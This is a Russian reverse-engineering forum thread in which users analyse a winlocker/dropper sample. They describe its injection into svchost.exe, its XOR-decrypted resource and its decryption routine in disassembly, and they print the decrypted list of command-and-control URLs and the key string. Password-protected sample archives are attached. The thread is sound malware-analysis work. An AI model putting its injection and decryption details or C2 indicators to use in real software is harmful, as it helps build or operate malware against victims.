Сейчас на форуме: rmn, exp50848 (+7 невидимых)

 eXeL@B —› Основной форум —› WriteProcessMemory и вредоносная программа
Посл.ответ Сообщение


Ранг: 469.0 (мудрец), 100thx
Активность: 0.250
Статус: Участник
[www.AHTeam.org]

Создано: 14 сентября 2013 00:20
· Личное сообщение · #1

Исследую программулину, явно вредоносная. Евляется дропером, но на данный момент безопасна, так как сайты к которым она коннектится более не доступны.

Сам ехе распаковал, прилепил к аттаччу, пароль "1"

До чего дошел я:
через WriteProcessMemory программулина пишет в c:\ubunta\system32\svchost.exe свои данные, далее процесс завершается и работает только svchost.exe

а он в свою очередь пытается получить данные таким способом:

InternetConnect veefallive.com
HttpOpenRequest /wCCF9IpveGl2ZS1ib212ZWVLYWxsaXY=
InternetConnect ogpjqv.com
HttpOpenRequest /2SKQ-Jp1OmNvbWxmcGpxdi5Ob21vZ3A=
InternetConnect bxjgrp.com
HttpOpenRequest /1D2K9ZlzOmNvbWF5amdycC5Ob21ieGo=
InternetConnect mykupe.com
HttpOpenRequest /2zyL55tmOmNvbW54a3VwZS5Ob21teWs=

Тут явно видно что реквесты идут в базе 64, но расшифровка немного кривоватая...


собственно я какраз и хотел как то найти собственно находится этот код и как он расшифровывает эти данные, но вот где его искать - не пойму.

Смотрел что пишет WriteProcessMemory, но ничего особо вредоносного и мне нужного в этих данных я не нашел...


749d_14.09.2013_EXELAB.rU.tgz - unp_4ea89df8.rar

-----
-=истина где-то рядом=-




Ранг: 23.5 (новичок), 5thx
Активность: 0.020
Статус: Участник

Создано: 14 сентября 2013 00:29 · Поправил: tino
· Личное сообщение · #2

Это может быть только открытие страницы с рекламой или редирект на другой сайт для накрутки рейтингов, кликов етк. На клиенте никакой обработки не нужно - просто открыть сайт




Ранг: 72.3 (постоянный), 133thx
Активность: 0.380
Статус: Участник

Создано: 14 сентября 2013 01:29 · Поправил: Dr0p
· Личное сообщение · #3

KingSise

Стопицот способов есть попасть в сей процесс. Да и таже WRMM позволяет сделать абсолютно всё, ибо почти вся память в процессе вритабельна.

Так как это типичный зарипанный инжект, то сложные методы не юзаются(куда уж там их скрипткидди реализовать на дельфе). Тоесть удалённый тред скорее всего. Точно не помню, но там вродь нет алертабельных тредов, контексты захватывать геморно(> 10 строк). Тоесть аттачь олей, bpx KiUserApcDispatcher и погнали



Ранг: 419.0 (мудрец), 647thx
Активность: 0.460.51
Статус: Участник
"Тибериумный реверсинг"

Создано: 14 сентября 2013 11:50
· Личное сообщение · #4

В целевом файле есть ресурс AVI(естественно это не кино). Он грузиться через LoadResource, потом копируется в выделенную память и расшифровывается
Code:
  1. 00402593    8037 02         XOR BYTE PTR DS:[EDI],02

по ходу дела это виртуальная машина(которая затем расшифровывает сама себя). Там все самое интересное походу.



Ранг: 23.2 (новичок), 8thx
Активность: 0.020
Статус: Участник

Создано: 14 сентября 2013 13:35
· Личное сообщение · #5

KingSise пишет:
собственно я какраз и хотел как то найти собственно находится этот код и как он расшифровывает эти данные, но вот где его искать - не пойму.


файл с уже поксоренной секцией ресурса можно смотреть в оле
расшифровка URL -- 40B48B

pw: malware

f859_14.09.2013_EXELAB.rU.tgz - dump2.rar




Ранг: 469.0 (мудрец), 100thx
Активность: 0.250
Статус: Участник
[www.AHTeam.org]

Создано: 14 сентября 2013 14:20
· Личное сообщение · #6

GMax,

можешь чуть подробнее описать, как ты этот дам получил?

Я поставил бряк на CreateProcessA, адрес возврата какой-то большой ( у запускаемого файла адресс 00401000):


ну и при попытке сдампить с адреса 008F0000 размер получается чуть более мегабайта...

-----
-=истина где-то рядом=-




Ранг: 23.2 (новичок), 8thx
Активность: 0.020
Статус: Участник

Создано: 14 сентября 2013 14:32 · Поправил: GMax
· Личное сообщение · #7

KingSise пишет:
можешь чуть подробнее описать, как ты этот дам получил?


можно например так:
на адресе 402593 в регистр EDI поставить 409248 (начало ресурса AVI) и позволить программе поксорить ресурс
затем на адресе
Code:
  1. 004023CE   .- FFE0          JMP EAX

в EAX поставить 409248, сделать переход, сдампить, обнулить директорию импорта в дампе




Ранг: 469.0 (мудрец), 100thx
Активность: 0.250
Статус: Участник
[www.AHTeam.org]

Создано: 14 сентября 2013 16:05
· Личное сообщение · #8

Никак не могу разобраться с функцией расшифровки, точнее с параметрами которые подаются на вход...

Перед пушами в ЕАХ уже есть адресс, куда расшифровываем...

Code:
  1. seg018:008F2477 ; int __cdecl decrypt_Sub(int Lench, int str2Decrypt, int Size)
  2. seg018:008F2477 decrypt_Sub     proc near               ; CODE XREF: sub_8F20B9+18Ap
  3. seg018:008F2477                                         ; sub_8F413F+1E4p ...
  4. seg018:008F2477
  5. seg018:008F2477 Lench           = dword ptr  4
  6. seg018:008F2477 str2Decrypt     = dword ptr  8
  7. seg018:008F2477 Size            = dword ptr  0Ch
  8. seg018:008F2477
  9. seg018:008F2477                 push    ebx
  10. seg018:008F2478                 push    esi
  11. seg018:008F2479                 push    edi
  12. seg018:008F247A                 mov     edi, eax
  13. seg018:008F247C                 xor     esi, esi
  14. seg018:008F247E                 mov     ebx, ecx
  15. seg018:008F2480                 cmp     edi, esi
  16. seg018:008F2482                 jnz     short loc_8F2486
  17. seg018:008F2484                 mov     edi, ebx
  18. seg018:008F2486
  19. seg018:008F2486 loc_8F2486:                             ; CODE XREF: decrypt_Sub+Bj
  20. seg018:008F2486                 cmp     [esp+0Ch+Lench], esi
  21. seg018:008F248A                 jbe     short loc_8F24AC
  22. seg018:008F248C                 sub     ebx, edi
  23. seg018:008F248E
  24. seg018:008F248E loc_8F248E:                             ; CODE XREF: decrypt_Sub+33j
  25. seg018:008F248E                 xor     edx, edx
  26. seg018:008F2490                 mov     eax, esi
  27. seg018:008F2492                 div     [esp+0Ch+Size]
  28. seg018:008F2496                 mov     eax, [esp+0Ch+str2Decrypt]
  29. seg018:008F249A                 lea     ecx, [esi+edi]
  30. seg018:008F249D                 mov     al, [edx+eax]
  31. seg018:008F24A0                 xor     al, [ebx+ecx]
  32. seg018:008F24A3                 inc     esi
  33. seg018:008F24A4                 mov     [ecx], al
  34. seg018:008F24A6                 cmp     esi, [esp+0Ch+Lench]
  35. seg018:008F24AA                 jb      short loc_8F248E
  36. seg018:008F24AC
  37. seg018:008F24AC loc_8F24AC:                             ; CODE XREF: decrypt_Sub+13j
  38. seg018:008F24AC                 pop     edi
  39. seg018:008F24AD                 pop     esi
  40. seg018:008F24AE                 pop     ebx
  41. seg018:008F24AF                 retn
  42. seg018:008F24AF decrypt_Sub     endp
  43. seg018:008F24AF
  44. seg018:008F24B0





Первый пуш - 14, длинна сроки? В ESI значение 0000026F - размер блока для расшифровки, т.е. расшифровываем мы 26F байт. Второй параметр - ключ?

-----
-=истина где-то рядом=-





Ранг: 72.3 (постоянный), 133thx
Активность: 0.380
Статус: Участник

Создано: 14 сентября 2013 17:57 · Поправил: Dr0p
· Личное сообщение · #9

KingSise

А знаете что забавно. То что вы все тут не смогли осилить мой примитивный крякми. А пытаетесь войти в малварный код. Для этого друзья нужен большой уровень вхождения и знания. Тут дельфя не поможет.

Любой человек, который сие не в первый раз делает(спалился ты), сделает это через виртуализацию, а не через дебаггер. Вмбе, пин етц. Ну что тут есчо сказать - учите матчасть!

Кстате. Вероятно щас будет вопрос. А чо ты не раксовырял сабжевое говно. Так я вам отвечу. Во первых это поделка школоты, во вторых там зариппанная вм, ну а в третьих мне это абсолютно не интересно. Это всё из мира нубов. Хотя за шекель я не прочь покапаться.



Ранг: 23.2 (новичок), 8thx
Активность: 0.020
Статус: Участник

Создано: 14 сентября 2013 18:48
· Личное сообщение · #10

KingSise пишет:
Первый пуш - 14, длинна сроки? В ESI значение 0000026F - размер блока для расшифровки, т.е. расшифровываем мы 26F байт. Второй параметр - ключ?


Первые 20 байт ключ которым ксорят остальной массив




Ранг: 469.0 (мудрец), 100thx
Активность: 0.250
Статус: Участник
[www.AHTeam.org]

Создано: 14 сентября 2013 19:09 · Поправил: KingSise
· Личное сообщение · #11

GMax, первые 20 байт это пуш 14, но второй параметр - строковая константа имеет длинну отличную от 20 байт, как так?

-----
-=истина где-то рядом=-




Ранг: 23.2 (новичок), 8thx
Активность: 0.020
Статус: Участник

Создано: 14 сентября 2013 19:17
· Личное сообщение · #12

KingSise пишет:
а что за значение в первом пуше (14) ?


14h = 20d



Ранг: 301.4 (мудрец), 194thx
Активность: 0.170.01
Статус: Участник

Создано: 14 сентября 2013 19:46 · Поправил: Veliant
· Личное сообщение · #13

Вообще-то там так:
Code:
  1. sub_8F2477(malloc(0x26Fu), &unk_8F07E8, 0x26Fu, "lzzh2u62iovlvv20o", 0x14u);

Первые два аргумента в eax, ecx. Соответственно в выделенную память расшифровывается массив 8F07E8 длиной 26F байт. 0x14 = 20 это длина гаммы.

Расшифрованный массив
Code:
  1. $ ==>     71 63 67 63|65 32 6D 72|76 6A 71 39|31 6B 6B 31| qcgce2mrvjq91kk1
  2. $+10      65 37 70 6E|62 62 31 39|6D 35 32 66|78 00 00 00| e7pnbb19m52fx
  3. $+20      00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  4. $+30      00 00 69 72|74 30 63 34|73 30 6C 77|6D 6F 66 6A|   irt0c4s0lwmofj
  5. $+40      61 34 6C 61|6D 79 6C 7A|33 34 71 37|38 74 34 73| a4lamylz34q78t4s
  6. $+50      73 6A 63 33|35 00 00 00|00 00 00 00|00 00 00 00| sjc35
  7. $+60      00 00 00 00|6C 7A 7A 68|32 75 36 32|00 EB 03 14|     lzzh2u62 л
  8. $+70      00 68 74 74|70 3A 2F 2F|65 72 67 61|6C 6F 76 69|  http://ergalovi
  9. $+80      6E 64 2E 63|6F 6D 00 00|00 00 00 00|00 00 00 00| nd.com
  10. $+90      00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  11. $+A0      00 00 00 00|68 74 74 70|3A 2F 2F 76|65 65 66 61|     http://veefa
  12. $+B0      6C 6C 69 76|65 2E 63 6F|6D 00 00 00|00 00 00 00| llive.com
  13. $+C0      00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  14. $+D0      00 00 00 00|00 00 00 68|74 74 70 3A|2F 2F 6F 67|        http://og
  15. $+E0      70 6A 71 76|2E 63 6F 6D|00 00 00 00|00 00 00 00| pjqv.com
  16. $+F0      00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  17. $+100     00 00 00 00|00 00 00 00|00 00 68 74|74 70 3A 2F|           http:/
  18. $+110     2F 62 78 6A|67 72 70 2E|63 6F 6D 00|00 00 00 00| /bxjgrp.com
  19. $+120     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  20. $+130     00 00 00 00|00 00 00 00|00 00 00 00|00 68 74 74|              htt
  21. $+140     70 3A 2F 2F|6D 79 6B 75|70 65 2E 63|6F 6D 00 00| p://mykupe.com
  22. $+150     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  23. $+160     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  24. $+170     68 74 74 70|3A 2F 2F 6C|7A 75 6D 66|7A 2E 63 6F| http://lzumfz.co
  25. $+180     6D 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| m
  26. $+190     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  27. $+1A0     00 00 00 68|74 74 70 3A|2F 2F 78 76|76 68 7A 61|    http://xvvhza
  28. $+1B0     2E 63 6F 6D|00 00 00 00|00 00 00 00|00 00 00 00| .com
  29. $+1C0     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  30. $+1D0     00 00 00 00|00 00 68 74|74 70 3A 2F|2F 74 75 6C|       http://tul
  31. $+1E0     6B 64 6E 2E|63 6F 6D 00|00 00 00 00|00 00 00 00| kdn.com
  32. $+1F0     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  33. $+200     00 00 00 00|00 00 00 00|00 68 74 74|70 3A 2F 2F|          http://
  34. $+210     68 67 62 67|73 6F 2E 63|6F 6D 00 00|00 00 00 00| hgbgso.com
  35. $+220     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  36. $+230     00 00 00 00|00 00 00 00|00 00 00 00|68 74 74 70|             http
  37. $+240     3A 2F 2F 6D|78 71 6E 72|6F 2E 63 6F|6D 00 00 00| ://mxqnro.com
  38. $+250     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|
  39. $+260     00 00 00 00|00 00 00 00|00 00 00 00|00 00 00


Да и сам троян походу кликер. Там ниже браузер через COM-интерфейсы реализован

P.S. или винлок какой




Ранг: 469.0 (мудрец), 100thx
Активность: 0.250
Статус: Участник
[www.AHTeam.org]

Создано: 14 сентября 2013 21:30
· Личное сообщение · #14

Veliant пишет:
0x14 = 20 это длина гаммы.

это я понял, но длинна строки "lzzh2u62iovlvv20o" 17 байт, а не 20

Veliant пишет:
P.S. или винлок какой

Так и есть, это винлукер, заменяет собой эксплорер, собственно картинко ниже:


-----
-=истина где-то рядом=-



 eXeL@B —› Основной форум —› WriteProcessMemory и вредоносная программа
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати